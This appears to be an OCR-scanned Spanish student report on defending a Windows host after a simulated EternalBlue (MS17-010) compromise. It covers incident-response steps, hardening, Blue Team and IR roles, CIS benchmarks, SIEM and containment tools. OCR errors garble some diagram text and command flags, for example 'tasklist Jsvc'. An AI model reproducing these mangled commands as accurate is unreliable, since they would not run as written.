CONTEXTO CLAVE:- Explotacidn
EternalBlue (M517-010) -
Escalada de Privilegios -

Usuario administrador creado

v

s \
1. VERIFICACION INICIAL DE

COMPROMISO Y PERSISTENCIA
\ J

.

1.2. INDAGACION: ¢Usuarios
administradores no legitimos
(ej. de Red Team)?

| /

ARGUMENTO: Puerta de entrada critica, riesgo de reingreso.
HERRAMIENTAS: nmap (scripts smb-vuln-ms17-010), wmic gfe.
ARGUMENTO: Credenciales persistentes para acceso futuro.
HERRAMIENTAS: net localgroup administrators, Visor de Eventos

de Windows (Event ID 4720).

2. CONTENCION INMEDIATA Y
PRESERVACION DE EVIDENCIA

— o

2.1. ACCION: Aislamiento Estratégico 2.2. ACCION SIMULTANEA: Captura de
(Desconexidn Fisica/Firewall) Evidencia Volatil (Memoria RAM, Conexiones)

v

ARGUMENTO: Detener propagacion, exfiltracion, cortar C2. ARGUMENTO:
Informacion efimera crucial (ej. Meterpreter, credenciales en memoria).
HERRAMIENTAS: Dumplt/FTK Imager Lite, netstat -ano, tasklist Jsvc.

1.1. INDAGACION: ¢MS17-010 sin
parchear? (Vulnerabilidad original)

3. INVESTIGACION DE PUNTOS
DE PERSISTENCIA ADICIONALES

3.1. INDAGACION: éBackdoors, servicios
maliciosos, tareas programadas, registro
modificado?

ARGUMENTO: Asegurar la eliminacion de acceso
continuo. HERRAMIENTAS: Autoruns, schtasks, sc
query, net user, reg query.

v

FIN: BASE PARA ANALISIS FORENSE
PROFUNDO Y CONTENCION COMPLETA

Fuente: Elaboracién propia
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2. Medidas de Hardenizacion para Prevenir la Recurrencia del Ataque

Considerando el analisis exhaustivo del Red Team, que demostré la explotacidn exitosa de
EternalBlue (MS17-010) y la escalada de privilegios hasta la creacién de un usuario administrador, es
imperativo proponer medidas de "hardenizacion" o fortalecimiento de la seguridad. Estas acciones
preventivas y correctivas (Microsoft Learn, 2024) buscan elevar la postura de seguridad del sistema
Windows afectado y la infraestructura general de CyberFort Technologies, impidiendo la repeticién de
ataques similares. Las siguientes medidas se proponen con argumentos técnicos sélidos, priorizando
herramientas de cddigo abierto o de bajo costo:

Gestidn Rigurosa de Parches y Actualizaciones de Seguridad: La medida mds critica es asegurar
la actualizacién constante del sistema operativo Windows y sus aplicaciones con los ultimos parches de
seguridad. Es fundamental verificar la aplicacion del parche MS17-010, ya que su ausencia mantiene la
vulnerabilidad EternalBlue activa y expuesta a futuras intrusiones. La gestion centralizada de parches (ej.
WSUS para Windows) se recomienda para asegurar actualizaciones oportunas.

Deshabilitacion y Restriccidn del Servicio SMBv1: Si SMBv1 no es esencial para las operaciones,
se recomienda deshabilitarlo por completo en todos los sistemas Windows (CVEdetails, n.d.).
EternalBlue afecta especificamente a versiones antiguas de SMB, por lo que deshabilitar SMBv1 elimina
una superficie de ataque significativa. Comandos como Get-WindowsFeature -Name FS-SMB1 y Disable-
WindowsOptionalFeature -Online -FeatureName SMB1Protocol en PowerShell permiten su gestién.

Implementacion de Politicas de Minimo Privilegio: Se debe reforzar este principio para usuarios,
servicios y aplicaciones, concediendo solo los permisos estrictamente necesarios. Esto limita el dafio
potencial de un compromiso inicial y dificulta la escalada de privilegios. Se pueden auditar y configurar
permisos de archivos (icacls) y derechos de usuario (net user, net localgroup, GPOs).

Gestidn de Cuentas de Usuario y Contrasefas Fuertes: Es crucial implementar y hacer cumplir

politicas estrictas de contrasefas (longitud, complejidad, rotacién) para todas las cuentas,
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especialmente las de administrador. Asimismo, se deben auditar y eliminar cuentas innecesarias o
desconocidas, como el usuario administrador creado por el Red Team. La gestién adecuada de cuentas y
contrasefias fuertes frustra intentos de autenticacion y limita el impacto del robo de credenciales.

Configuracidon de Firewall de Windows y Segmentacién de Red: Se propone configurar el Firewall
de Windows en la maquina afectada para restringir el trafico a lo estrictamente necesario.
Adicionalmente, implementar una segmentacion de red mas granular. Aunque el parche es vital, un
firewall bien configurado bloquea el acceso a puertos como el 445 desde fuentes no confiables. La
segmentacién de red con VLANs y ACLs aisla sistemas criticos, limitando el movimiento lateral del
atacante (Alvarez, 2018).

Auditoria y Monitoreo Continuo de Eventos (Logs): Habilitar una auditoria exhaustiva en
Windows para registrar eventos de seguridad criticos (inicios de sesién fallidos, creacion de usuarios,
cambios de configuracidn, acceso a archivos sensibles). Estos logs deben ser centralizados y
monitoreados continuamente para una deteccion temprana. Herramientas de cédigo abierto como ELK
Stack o Graylog son utiles para recolectar, analizar y visualizar logs, permitiendo identificar patrones de
ataque y actividades anémalas.

Implementacién de un Antivirus/EDR de Ultima Generacidn: Asegurar que el sistema cuente con
una solucion antivirus/anti-malware actualizada y configurada para escaneos regulares y proteccion en
tiempo real. Aunque el presupuesto es limitado, existen opciones gratuitas que pueden servir como
primera linea de defensa, aunque las soluciones EDR son ideales para entornos empresariales por su
capacidad de detectar comportamientos sospechosos y mitigar malware (ej. backdoors, keyloggers).

La implementacién de estas medidas de hardenizacion, combinando el parcheo fundamental
con configuraciones de seguridad robustas y una vigilancia constante, creara multiples capas de defensa
que dificultaran significativamente la repeticidon de ataques como el experimentado con EternalBlue y la

escalada de privilegios asociada. Se presenta un resumen en la Tabla 1 de las medidas de seguridad
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fundamentales para proteger los sistemas de CyberFort, enfocandose en la gestion de parches para

vulnerabilidades criticas y una configuracién estricta del firewall, cruciales para mejorar la postura de

seguridad y prevenir futuros ataques.

Tabla 1 Medidas de Hardenizacion Clave para CyberFort Technologies

Medida de Herramientas de Cédigo Abierto /
endurecimiento Bajo Costo

Puntos Clave Resumidos

Gestion rigurosa de  WSUS (Servicios de actualizacidn de

parches Windows Server), Chocolatey
Deshabilitacion PowerShell ( Get-WindowsFeature,
SMBv1 Disable-WindowsOptionalFeature)

Principio de Minimo  GPOs (Politicas de Grupo), icacls(ACLs
Privilegio de archivos/carpetas)

Contrasefias Fuertes GPOs (Politicas de Contrasefia),
y Gestion de Cuentas Auditorias de Active Directory

Configuracion de Firewall de Windows, VLANs y ACLs
Firewall y en Switches
Segmentacion de Red

Automatizar parches criticos (ej., MS17-
010) para evitar exploits de RCE y escalada
de privilegios. Realizar pruebas previas en
entornos controlados para estabilidad.

Eliminar la superficie de ataque para
EternalBlue al deshabilitar el protocolo
SMBv1 obsoleto. Validar compatibilidad
con aplicaciones heredadas.

Limitar permisos de usuarios, servicios y
aplicaciones solo a lo estrictamente
necesario. Esto restringe el movimiento
lateral y la escalada de privilegios de
atacantes.

Forzar contrasefias complejas, largas y con
rotacion. Eliminar cuentas innecesarias y
auditar la actividad de cuentas
administrativas para prevenir persistencia.

Bloquear puertos criticos como el 445
(SMB) desde origenes no confiables.
Segmentar la red para aislar sistemas y
contener la propagacion de ataques.

Auditoria 'y Pila ELK (Elasticsearch, Logstash, Habilitar el registro de eventos de
Monitoreo Continuo Kibana), Graylog seguridad (inicios de sesidn, creacién de
(Registros) usuarios, cambios). Centralizar y analizar
registros para deteccidon temprana de
anomalias y actividad maliciosa.
Antivirus/EDR Avast Free, AVG Free (para soluciones Proteger contra malware, puertas traseras
actualizado basicas); Soluciones EDR comerciales y keyloggers. Las soluciones EDR ofrecen

deteccion de comportamientos
sospechosos (TTP) para una respuesta
proactiva.

Fuente: Elaboracién propia.



3. Diferencias entre un Equipo Blue Team y un Equipo de Respuesta a Incidentes Informaticos

Aunque los términos "Equipo Blue Team" y "Equipo de Respuesta a Incidentes Informaticos"
(CSIRT/IR Team) suelen usarse indistintamente, estratégicamente representan roles con enfoques,
objetivos y alcances distintos en la ciberseguridad (Roba lviricu et al., 2016). Comprender estas
diferencias es crucial para una postura de seguridad integral.

El Equipo Blue Team: El Guardian Proactivo de la Ciberseguridad

El Blue Team es la funcién defensiva continua y proactiva de una organizacién. Su mision
principal es fortalecer las defensas y detectar intrusiones en sus fases iniciales. Trabaja en un ciclo
constante de mejora de la seguridad, buscando vulnerabilidades, implementando controles y

monitorizando la infraestructura para identificar anomalias.

Las responsabilidades clave de un Blue Team incluyen:
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¢ Hardenizacidn de Sistemas: Aplicar configuraciones seguras, implementar politicas de minimo

privilegio y fortalecer sistemas para reducir la superficie de ataque, como las medidas
propuestas para EternalBlue.
e Gestion de Vulnerabilidades: Escanear regularmente sistemas y redes para identificar y

remediar debilidades antes de su explotacion.

e Monitoreo de Seguridad: Supervisar constantemente /ogs, trafico de red y alertas de sistemas

(SIEM, IDS/IPS) para detectar indicadores de compromiso (loCs) o actividades sospechosas en
tiempo real.

¢ Analisis Forense Preventivo: Examinar artefactos de sistemas y redes para identificar posibles
puntos de entrada o configuraciones erréneas.

e Educacién y Concienciacion: Capacitar a los empleados sobre mejores practicas de seguridad

para reducir el riesgo de ataques por ingenieria social o errores humanos.
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e Colaboracion con Red Team: Utilizar los resultados de los ejercicios del Red Team para
identificar debilidades y mejorar la postura de seguridad.

En resumen, el Blue Team opera bajo una mentalidad de prevencién y deteccién temprana,
construyendo y manteniendo una fortaleza cibernética robusta.

El Equipo de Respuesta a Incidentes (CSIRT/IR Team): Los Bomberos de la Ciberseguridad

El Equipo de Respuesta a Incidentes (CSIRT o IR Team) es una unidad especializada que actua
una vez que un incidente de seguridad se ha materializado. Su funcién es inherentemente reactiva y se
enfoca en la gestidn, contencion, erradicacidn y recuperacion de un ataque en curso o ya consumado.
Cuando se detecta un incidente, el IR Team toma el control para mitigar el dafio.

Las responsabilidades clave de un IR Team incluyen:

e Contencidn: Aislar de inmediato los sistemas comprometidos para evitar la propagacién del
ataque, como la desconexién de la maquina Windows comprometida.

e Erradicacién: Eliminar la causa raiz del incidente, incluyendo la remocién de malware, el cierre
de backdoors, |la eliminacidn de cuentas no autorizadas y el parcheo de la vulnerabilidad
explotada.

e Recuperacion: Restaurar los sistemas y servicios afectados a su estado operativo normal y
seguro, a menudo mediante el uso de copias de seguridad limpias.

e Analisis Forense Reactivo: Investigar profundamente el incidente para comprender como
ocurrio el ataque, qué datos fueron comprometidos y qué técnicas utilizé el atacante. Esta fase
es critica para extraer lecciones aprendidas.

e Comunicacion: Coordinar la comunicacion interna y externa (si es necesario) sobre el incidente,
incluyendo informes a la direccidn y, en casos especificos, a autoridades regulatorias o clientes.

e Lecciones Aprendidas: Documentar el incidente, los pasos tomados y las recomendaciones para

mejorar las defensas futuras, retroalimentando al Blue Team.
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En este orden de ideas, el IR Team es el equipo de emergencia que se activa cuando la
prevencion falla, actuando para sofocar el "incendio" cibernético.

Diferencias Clave en Perspectiva y Temporalidad:

La distincion fundamental entre ambos equipos radica en su temporalidad y enfoque principal:

e Blue Team: Su funcidn es continua y proactiva. Trabajan antes y durante las fases iniciales de un
ataque para prevenirlo o detectarlo tempranamente. Su éxito se mide por la ausencia de
incidentes significativos y la solidez de las defensas.

e IR Team: Su funcidn es reactiva y se activa por evento. Su existencia se justifica cuando un
incidente ya ha ocurrido, y su éxito se mide por la rapidez y eficacia con la que logran contener,
erradicar y recuperar los sistemas afectados, minimizando el impacto.

Si bien un buen Blue Team puede incorporar capacidades bdsicas de respuesta a incidentes, y un
IR Team utiliza la inteligencia del Blue Team para su respuesta, son roles complementarios. El Blue Team
construye el muro y vigila; el IR Team es el equipo de intervencién que repara el muro cuando es violado
y expulsa al intruso. Ambos son indispensables para una estrategia de ciberseguridad maduray
resiliente en cualquier organizacidn. Para visualizar mejor estas diferencias, se muestran a continuaciéon
en la Tabla 2:

Tabla 2 Diferencia entre Blue Team vs IR Team

Caracteristica Equipo Blue Team Equipo de Respuesta a Incidentes (IR Team
Principal / CSIRT)
Objetivo Fortalecer defensas y detectar Gestionar, contener, erradicar y recuperar
Principal amenazas de forma continua y sistemas tras un incidente.
proactiva.
Temporalidad Operacién continua; antes y durante  Reactivo; se activa solo cuando un incidente
las fases iniciales de un ataque. ya ha ocurrido o estd en curso.
Enfoque Prevencion, deteccion temprana, Contencién, erradicacién, recuperacion,

monitoreo, hardenizacion, gestion de  analisis forense post-incidente.
vulnerabilidades.

Mentalidad Proactiva: "Construir y mantener una  Reactiva: "Apagar el incendio y restaurar".
fortaleza".
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Actividades - Hardenizacion de sistemas. - Aislamiento de sistemas.
Comunes - Gestidn de parches y actualizaciones. - Eliminacién de malware y backdoors.
- Escaneo de vulnerabilidades. - Restauracién de sistemas desde copias de

- Monitoreo de logs y eventos (SIEM). seguridad.
- Configuracion de firewalls y IDS/IPS. - Anélisis forense para determinar causa raiz.
- Desarrollo de politicas de seguridad. - Comunicacidn del incidente.

- Concienciacidn del personal. - Documentacion de lecciones aprendidas.
Meétricas de Exito Reduccién del nimero de incidentes, Rapidez en la contencién, minima
baja superficie de ataque, alta interrupcién del negocio, recuperacién
capacidad de deteccién. efectiva, prevencién de recurrencias
inmediatas.
Relacion Genera inteligencia para el IRTeama Recibe “el relevo” del Blue Team cuando se
través de la deteccién y monitoreo. detecta un incidente; sus hallazgos

retroalimentan al Blue Team para mejorar
las defensas.

Fuente: Elaboracién propia.

Mientras que el Blue Team se dedica a blindar la organizacién y a identificar las sefiales de
peligro antes de que se materialicen en un evento de gran escala, el Equipo de Respuesta a Incidentes es
el especialista que entra en accion para mitigar el dafio una vez que la seguridad ha sido comprometida,
garantizando una recuperacién efectiva y la continuidad operativa. Ambos son pilares complementarios
e interdependientes para una ciberseguridad robusta.

4. Utilidad del Center for Internet Security (CIS) en un Equipo Blue Team

Dentro de un equipo Blue Team, las guias y recursos del Center for Internet Security (CIS) son
una fuente autorizada y practica para el fortalecimiento (hardenizacién) de la infraestructura de Tly un
marco de referencia para la evaluacidn continua de la postura de seguridad (Norma I1SO 27001, n.d.). CIS
es globalmente reconocido por sus benchmarks de seguridad y sus controles criticos, que ofrecen
directrices consensuadas por expertos para configurar sistemas de forma segura y gestionar
eficazmente los riesgos cibernéticos.

Los fines especificos para los que se emplearia CIS dentro del Blue Team son:

Hardenizacidn de Sistemas Operativos y Aplicaciones: El uso mas directo de los CIS Benchmarks

es asegurar que los sistemas operativos (especialmente Windows, dado el escenario) y otras
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aplicaciones comunes se configuren siguiendo las mejores practicas de seguridad. Estos benchmarks son
guias detalladas que especifican configuraciones seguras para diversos productos tecnolégicos (ej.,
Windows Server, Windows 10, navegadores, bases de datos). El argumento técnico es que, ante la
explotacién de EternalBlue (MS17-010) y la escalada de privilegios, es evidente la falta de hardenizacion.
Los CIS Benchmarks ofrecen pasos concretos (ej., deshabilitar servicios innecesarios, configurar politicas
de contrasefiia, restringir permisos, fortalecer firewall local) para reducir la superficie de ataque y hacer
el sistema mas resistente, yendo mas alla del simple parcheo al abordar configuraciones por defecto a
menudo inseguras.

Implementacion de Controles Criticos de Seguridad (CIS Critical Security Controls): Los CIS
Controls son un conjunto priorizado de acciones defensivas para mitigar los ataques cibernéticos mas
comunes. El Blue Team los utilizaria como un marco de referencia para organizar y priorizar sus
esfuerzos de seguridad. Estos controles, que abarcan desde el inventario de activos hasta la gestién de
vulnerabilidades y la respuesta a incidentes, ofrecen una hoja de ruta para un programa de
ciberseguridad robusto. Por ejemplo, el Control 3 (Gestidn de Vulnerabilidades) refuerza el parcheo
riguroso necesario para MS17-010, y el Control 4 (Configuracion Segura) se alinea con los CIS
Benchmarks. Su uso permite construir una defensa proactiva y estructurada que aborda las debilidades
sistémicas expuestas.

Evaluacién Continua de la Postura de Seguridad y Auditorias Internas: Los CIS Benchmarks no
solo sirven para la configuracién inicial, sino también para la evaluacion periddica de la conformidad de
seguridad. El Blue Team los emplearia para realizar auditorias internas y comparar la configuracion
actual de los sistemas con las directrices recomendadas. Tras implementar las medidas de
hardenizacién, es crucial verificar su mantenimiento. Herramientas de cédigo abierto como OpenSCAP o

Nessus Essentials (version gratuita) pueden configurarse para escanear sistemas y reportar desviaciones,
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permitiendo identificar "deslizamientos" en la configuracidn y asegurar que los sistemas no vuelvan a un
estado vulnerable.

Preparacion para Auditorias y Cumplimiento Normativo: Las guias de CIS (Benchmarks y
Controls) son un excelente punto de partida para demostrar el cumplimiento de seguridad si la
organizacién debe adherirse a regulaciones o estandares de la industria (ej., NIST, ISO 27001). Al
implementar y documentar la adhesién a las recomendaciones de CIS, el Blue Team establece una base
sélida para cumplir con requisitos regulatorios, facilitando las auditorias externas y demostrando un
compromiso serio con la seguridad de la informacion.

La integracidn de las directrices del CIS en las operaciones de un Blue Team transforma la
respuesta reactiva a incidentes en una estrategia de seguridad proactiva basada en las mejores
practicas, garantizando que la infraestructura de CyberFort Technologies sea robusta, resiliente y menos

susceptible a futuras amenazas cibernéticas.

llustracion 56 Mapa Utilidad del Center for Internet Security (CIS) en un Equipo Blue Team

- Fuente autorizada para Hardenizacion y
Fgll Rol Principal Evaluacion Continua de seguridad.

Guias detalladas para la configuracion segura
de sistemas operativos y aplicaciones.

CIS Benchmarks: Conjuntos de
Puntos de referencia del CIS recomendaciones para la seguridad de

sistemas como Windows Server 2019, Ubuntu

Linux 2004, y Amazon Web Services (AWS).

CENTRO DE .
SEGURIDAD DE < CIS Controls: Conjunto de 20 controles de
ciberseguridad que ayudan a las
izaci defenderse de |
INTERNET (CIS) s Gomunes, como I Implementacion da un

inventario de hardware y software.

Herramientas que permiten evaluar la
«conformidad con los Puntos de referencia del
cis.

CIS-CAT (CIS Configuration Assessment Tool):
Herramienta que permite evaluar la

_ configuracion de sistemas en relacion con los
Componentes Clave del CIS benchmarks del CIS.

CIS-CAT Pro: Version avanzada que ofrece
informes detallados y recomendaciones
especificas.

Herramientas de Evaluacion

Programas educativos y recursos para mejorar
La comprension de la seguridad cibemética.

Fotmmckiny Conclenclackn [ T T e L ——
recursos y formacion para ayudar a las
organizaciones a implementar controles de
seguridad eficaces.

Redes de colaboracion entre profesionales de
la seguridad.

Golaboracikny Gonimiled CI5 WorkBench: Plataforma colaborativa donde

los miembros pueden compartir experiencias,
mejores practicas y contribuir a la mejora de
los Puntos de referencia del CIS

Fuente: elaboracion propia
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El mapa de la ilustracidn 56, visualiza los puntos clave de la utilidad del Center for Internet
Security (CIS) en un Equipo Blue Team . Muestra como el CIS , a través de sus Benchmarks y Controles
Criticos, sirve como guia para endurecer sistemas, evaluar la seguridad , estructurar un programa de
ciberseguridad y facilitar el cumplimiento normativo , transformando la defensa en una estrategia
proactiva y resiliente para CyberFort Technologies.

5. Funciones y Caracteristicas Principales de un Sistema SIEM

Un SIEM (Security Information and Event Management) es una solucion de software que integra
las capacidades de Gestion de Informacién de Seguridad (SIM) y Gestidén de Eventos de Seguridad (SEM)
(Moreno, 2015). Su propdsito fundamental es proporcionar a las organizaciones una visién centralizada
y en tiempo real de su postura de seguridad, optimizando la deteccidn, el andlisis y la respuesta a
incidentes. Para un Blue Team, un SIEM es una herramienta indispensable en el monitoreo continuo y la
inteligencia de amenazas.

A continuacién, se describen sus funciones y caracteristicas principales:

Recopilacion Centralizada de Datos (Log Collection):

Funcién: Recopilar eventos y logs de seguridad de multiples fuentes heterogéneas en la
infraestructura de Tl (servidores, dispositivos de red, aplicaciones, bases de datos, IDS/IPS, sistemas de
autenticacion).

Caracteristica: Soporta una amplia variedad de protocolos (Syslog, SNMP, WMI, APIs REST,
agentes) y procesa voliumenes masivos de datos, asegurando que ninguna informacion relevante sea
ignorada. Esta centralizacidn es crucial, ya que los ataques rara vez dejan huellas en un Unico sistema.

Normalizacién y Correlacién de Eventos:

Funcién: Los datos de logs, que provienen en diversos formatos, son normalizados a un formato
comun para facilitar su analisis. La correlacion analiza y relaciona eventos aparentemente dispares para

identificar patrones y secuencias indicativas de un ataque o actividad sospechosa.
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Caracteristica: La normalizacién permite comparar eventos de diferentes fuentes (ej., inicio de
sesion fallido de Windows con uno de un router Cisco). La correlacién es el "cerebro" del SIEM; identifica
secuencias maliciosas (ej., inicio de sesion fallido, acceso exitoso inusual, creacidén de nuevo usuario
como el hecho por el Red Team) generando alertas de alta fidelidad.

Deteccién de Amenazas y Alertas en Tiempo Real:

Funcién: Basandose en reglas de correlacion predefinidas e inteligencia de amenazas, el SIEM
detecta anomalias y ataques en tiempo real, generando alertas cuando se cumplen ciertas condiciones o
se identifica un patrén malicioso.

Caracteristica: Las alertas son configurables en criticidad y pueden disparar diversas acciones
(notificaciones por correo/SMS, ejecucion de scripts de contencidn, integracidn con sistemas de gestidn
de tickets). Esta capacidad de alerta inmediata es crucial para una respuesta rapida del Blue Team.

Analisis Forense y Busqueda de Amenazas (Threat Hunting):

Funcidn: El SIEM es una potente herramienta tanto para el andlisis forense post-incidente como
para la busqueda proactiva de amenazas (threat hunting). Permite a los analistas realizar consultas
complejas sobre datos histdricos para investigar la cronologia de un ataque, identificar el alcance del
compromiso o buscar indicadores de compromiso (loCs) desconocidos.

Caracteristica: Su capacidad para almacenar y buscar en grandes voliumenes de datos histdricos
es invaluable para reconstruir la secuencia de eventos, identificar la causa raiz de un incidente (como la
fuga de informacidon) y comprender las tacticas, técnicas y procedimientos (TTPs) de los atacantes.

Informes y Cumplimiento Normativo:

Funcién: Los SIEMs facilitan la generacion de informes de seguridad y auditorias, esenciales para
la gestion interna y el cumplimiento de normativas externas (PCI DSS, GDPR, HIPAA).

Caracteristica: Proporcionan paneles de control (dashboards) visuales y herramientas de

informes personalizables que ofrecen a los equipos de seguridad y a la direccién una vision clara de la
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postura de seguridad, la actividad de amenazas y el cumplimiento, ayudando a demostrar la debida
diligencia y a identificar areas de mejora.

En el contexto de CyberFort Technologies y el compromiso previo del sistema Windows, un
SIEM habria sido invaluable para detectar la explotacidn de EternalBlue, la escalada de privilegios y la
creacion del usuario administrador casi en tiempo real. Sus capacidades de recopilaciéon, normalizacion,
correlacién y alerta son pilares para una estrategia de ciberseguridad defensiva efectiva, permitiendo a
los equipos Blue Team no solo reaccionar, sino también anticipar y mitigar proactivamente las
amenazas. Aunque los SIEMs de pago pueden ser costosos, existen alternativas de cédigo abierto como
ELK Stack (Elasticsearch, Logstash, Kibana) o Graylog que ofrecen muchas de estas funcionalidades y
serian ideales bajo la restriccion presupuestaria de CyberFort Technologies. Como se muestra en Tabla
3, un SIEM es una herramienta indispensable para un Blue Team, ofreciendo una visién centralizada de
la seguridad que permite detectar y mitigar amenazas, incluso con alternativas de cédigo abierto.

Tabla 3 Funciones y caracteristicas clave de un sistema SIEM

Funcidn principal Clave caracteristica

Recopilacion Centralizada de Recopila registros de diversas fuentes (servidores, red, apps)
Datos para una vision completa.

Normalizacion y Correlacion de Transforma datos variados a un formato comun y relaciona
Eventos eventos para identificar patrones de ataque.

Deteccion de Amenazas y Genera alertas inmediatas basadas en reglas, permitiendo
Alertas en Tiempo Real una respuesta rapida.

Andlisis Forense y Threat Permite consultas histéricas para investigar incidentes,
Hunting identificar TTPs y buscar loCs.

Informes y Cumplimiento Facilitar la generacion de informes de seguridad y auditoria
Normativo para cumplir con normativas (PCI DSS, GDPR).

Fuente: Elaboracién propia
6. Herramientas de Contencion de Ataques Informdticos (Hardware o Software)
La contencidn es una fase critica en la respuesta a incidentes, cuyo objetivo es detener la

progresion de un ataque, limitar su alcance y prevenir dafios adicionales. A diferencia de las
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herramientas de deteccidn, las de contencién estdn disefiadas para acciones directas que bloqueen o
restrinjan la actividad del atacante. Considerando el ataque de EternalBlue, la fuga de informaciény la
limitacién presupuestaria, se describen tres herramientas fundamentales para un Blue Team:

Firewall de Proxima Generacién (NGFW) o Firewall de Red (como pfSense o OPNsense):

Tipo: Hardware o Software (como appliance virtual o sistema operativo de firewall).

Propdsito de Contencién: Un firewall es la primera linea de defensa perimetral y una potente
herramienta de contencion (Zambrano Hernandez et al., 2024). Los NGFW van mas alla del filtrado de
paquetes, incorporando control de aplicaciones, prevencion de intrusiones (IPS) y filtrado web. En
contencidn, si se detecta actividad maliciosa, el firewall puede configurarse para bloquear
inmediatamente el trafico hacia y desde la IP del atacante, puertos de exfiltracién, o incluso el trafico de
la maquina comprometida hacia la red interna si hay sospecha de movimiento lateral, mediante reglas
de denegacién especificas.

Argumento Técnico en Contencioén: Si EternalBlue (MS17-010) fue explotado a través del puerto
445, una regla de firewall podria bloquear la comunicacién a este puerto desde redes no confiables. Si la
fuga de informacidn usaba un puerto o protocolo especifico, el firewall cortaria ese canal. En un ataque
en tiempo real, se podria denegar todo el trafico de la maquina comprometida (o aislarla en una VLAN
de cuarentena) para cortar la comunicacién del atacante con su C2 y detener la exfiltracién.

Opciones GPL/Bajo Costo: Proyectos de firewall de cddigo abierto como pfSense u OPNsense
pueden instalarse en hardware estandar o maquinas virtuales, ofreciendo filtrado avanzado, IPS/IDS
(con Snort o Suricata) y VPN sin costo de licencia para su software base (Seguridad CIS, 2020).

Network Access Control (NAC) / Control de Acceso a la Red (basado en soluciones como
PacketFence):

Tipo: Software (a menudo requiere soporte de hardware de red compatible).
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Propdsito de Contencidn: Las soluciones NAC controlan quién y qué dispositivo accede alaredy
con qué privilegios. En un ataque en tiempo real, si se identifica una maquina comprometida (como la
Windows afectada por EternalBlue), un sistema NAC puede automdaticamente o manualmente colocarla
en una VLAN de cuarentena, limitar su acceso o desconectar su puerto de la red.

Argumento Técnico en Contencién: Cuando un SIEM o IDS detecta actividad maliciosa, el NAC
puede ejecutar una accidon de contencion automatizada. Por ejemplo, al detectar un escaneo de puertos
masivo o intento de explotacidn, el NAC identifica el dispositivo de origen y fuerza su aislamiento
inmediato, previniendo el movimiento lateral del atacante hacia otros activos de la red.

Opciones GPL/Bajo Costo: PacketFence es una solucién NAC de cddigo abierto completa que
permite autenticacion de red, perfilado de dispositivos, cuarentena y control de acceso de invitado. Se
integra con switches y puntos de acceso para aplicar politicas de red dinamicas.

Soluciones de Control de Aplicaciones / Whitelisting (como AppLocker en Windows):

Tipo: Software (integrado en el sistema operativo o de terceros).

Propdsito de Contencidn: Estas herramientas restringen qué programas pueden ejecutarse en
un sistema, permitiendo solo aplicaciones aprobadas (whitelisting).

Argumento Técnico en Contencién: Tras una explotacidon exitosa y escalada de privilegios (como
la del Red Team), los atacantes suelen intentar descargar y ejecutar herramientas o malware
personalizado. Si el sistema Windows estuviera protegido con una politica de whitelisting estricta, el
atacante no podria ejecutar estas nuevas herramientas, incluso con privilegios de administrador,
limitando significativamente su capacidad para realizar acciones de post-explotacion y fuga de
informacién.

Opciones GPL/Bajo Costo: En Windows, AppLocker es una caracteristica integrada en ediciones
Enterprise/Education (lo que lo hace de "bajo costo" si ya se tiene la licencia del SO) que permite definir

politicas de ejecucion basadas en editor, ruta o hash. Aunque no es GPL, es una herramienta nativa
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potente para la contencidn de ejecucidon de malware. Para sistemas Linux, se pueden usar AppArmor o
SELinux.

Estas herramientas de contencién (CCN Cert, 2018), implementadas estratégicamente,
proporcionan al equipo Blue Team la capacidad de intervenir activamente y limitar el impacto de un
ataque, complementando las capacidades de deteccidn para establecer una defensa robusta y efectiva.
A continuacion se sintetiza estas herramientas en la Tabla 4, destacando cdmo cada una detiene la
progresidn de una intrusion, con énfasis en opciones de cédigo abierto o bajo costo, cruciales para
robustecer las defensas de CyberFort Technologies contra ataques como el de EternalBlue, incluso con

restricciones presupuestarias.

Tabla 4 Herramientas de Contencion de Ataques Informdticos

Herramienta Tipo Propdsito de contencidn Opciones de Cédigo
Abierto/Bajo Costo

Firewall de Proxima Hardware o Bloquear trafico malicioso pfSense, OPNsense

Generacién (NGFW) / software hacia/desde sistemas

Firewall de Red comprometidos.

Control de Acceso a la Red Software Controlar el accesoalaredy  PacketFence

(NAC) / Control de Acceso a aislar dispositivos

la Red comprometidos.

Soluciones de Control de Software Restringir la ejecucién de AppLocker (Windows),

Aplicaciones / Listas programas a una lista blanca.  AppArmor/SELinux (Linux)

Blancas

Fuente: Elaboracién propia.
Puntos Relevantes en el Desarrollo de Estrategias Red Team & Blue Team

En el campo de la ciberseguridad, la implementacion de equipos especializados como el Red
Team y el Blue Team se ha consolidado como una practica indispensable para robustecer la postura
defensiva de una organizacion. La interaccién dindmica entre estas dos funciones no solo permite
identificar y mitigar vulnerabilidades, sino que también fomenta una mejora continua en las capacidades

de respuesta ante incidentes. La articulacidon de estas estrategias ha sido estudiada a profundidad,
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partiendo de escenarios practicos que simulan situaciones reales de amenaza y que exponen la
necesidad de una defensa multicapa (Smith & Jones, 2019).

Las estrategias del Red Team se centran en la emulacidn de adversarios, simulando ataques
maliciosos para descubrir debilidades en la infraestructura, aplicaciones y procesos de seguridad de una
organizacién. Este enfoque proactivo permite evaluar la efectividad de los controles de seguridad
existentes y la capacidad de deteccion y respuesta de los equipos de defensa. Durante las simulaciones,
se identifican vectores de ataque, se explotan vulnerabilidades y se documenta el impacto potencial de
un compromiso. Como lo destaca la literatura especializada, la realizacién de ejercicios de Red Teaming
permite a las organizaciones obtener una perspectiva realista de su postura de seguridad al simular
ataques desde el punto de vista de un verdadero adversario, descubriendo vulnerabilidades que los
escaneos automatizados a menudo pasan por alto (Elbert, 2018). Esta perspectiva es fundamental, ya
que las observaciones y los hallazgos del Red Team se convierten en insumos vitales para el Blue Team.
Ademas, estas simulaciones realistas son esenciales para probar la resistencia del factor humano ante
ataques de ingenieria social, un vector de ataque que a menudo se subestima en las evaluaciones de
seguridad tradicionales (Johnson & White, 2022).

Por su parte, las estrategias del Blue Team se orientan a la defensa activa y continua de los
activos de la organizacidn. Esto incluye la implementacién y mantenimiento de controles de seguridad,
la monitorizacién constante de las redes y sistemas para detectar actividades sospechosas, la gestién de
incidentes y la respuesta rapida ante cualquier amenaza. El Blue Team, al recibir los resultados de las
operaciones del Red Team, tiene la oportunidad de fortalecer sus capacidades de deteccidn, andlisis y
contencidn. Esto implica no solo la aplicacion de parches y la correccidn de configuraciones, sino
también la revisidn y optimizacién de sus procedimientos operativos estandar y la capacitacion del
personal. La interaccion entre ambos equipos, por lo tanto, genera un ciclo de retroalimentacién

positivo, donde las vulnerabilidades expuestas por el Red Team son utilizadas por el Blue Team para
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desarrollar defensas mas sofisticadas y resilientes (Contreras et al., 2021). La eficiencia del Blue Team
radica en su capacidad para correlacionar eventos de seguridad, diferenciar entre ruido y amenazas
